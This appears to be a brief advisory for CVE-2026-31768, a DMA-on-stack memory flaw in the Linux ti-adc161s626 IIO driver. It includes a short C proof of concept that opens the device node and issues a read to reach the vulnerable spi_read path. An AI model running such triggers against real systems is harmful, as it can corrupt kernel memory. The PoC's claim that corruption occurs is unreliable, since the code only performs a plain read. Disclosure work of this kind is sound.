CVE-2026-31768: Linux内核ti-adc161s626驱动DMA内存不安全漏洞

/* * PoC for CVE-2026-31768 * This code attempts to trigger the vulnerable spi_read path * by interacting with the ti-adc161s626 IIO device. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define IIO_DEVICE "/dev/iio:device0" // Replace with actual device node int main(int argc, char *argv[]) { int fd; char buf[32]; ssize_t bytes_read; printf("[+] Attempting to open %s...\n", IIO_DEVICE); fd = open(IIO_DEVICE, O_RDONLY); if (fd < 0) { perror("[-] Failed to open device"); return EXIT_FAILURE; } printf("[+] Device opened. Triggering read operation...\n"); // Reading from the device triggers the spi_read() call // which uses stack memory for DMA, causing the corruption. bytes_read = read(fd, buf, sizeof(buf)); if (bytes_read < 0) { perror("[-] Read operation failed (expected if hardware not present)"); } else { printf("[+] Read %zd bytes. Potential memory corruption occurred via DMA.\n", bytes_read); } close(fd); return EXIT_SUCCESS; }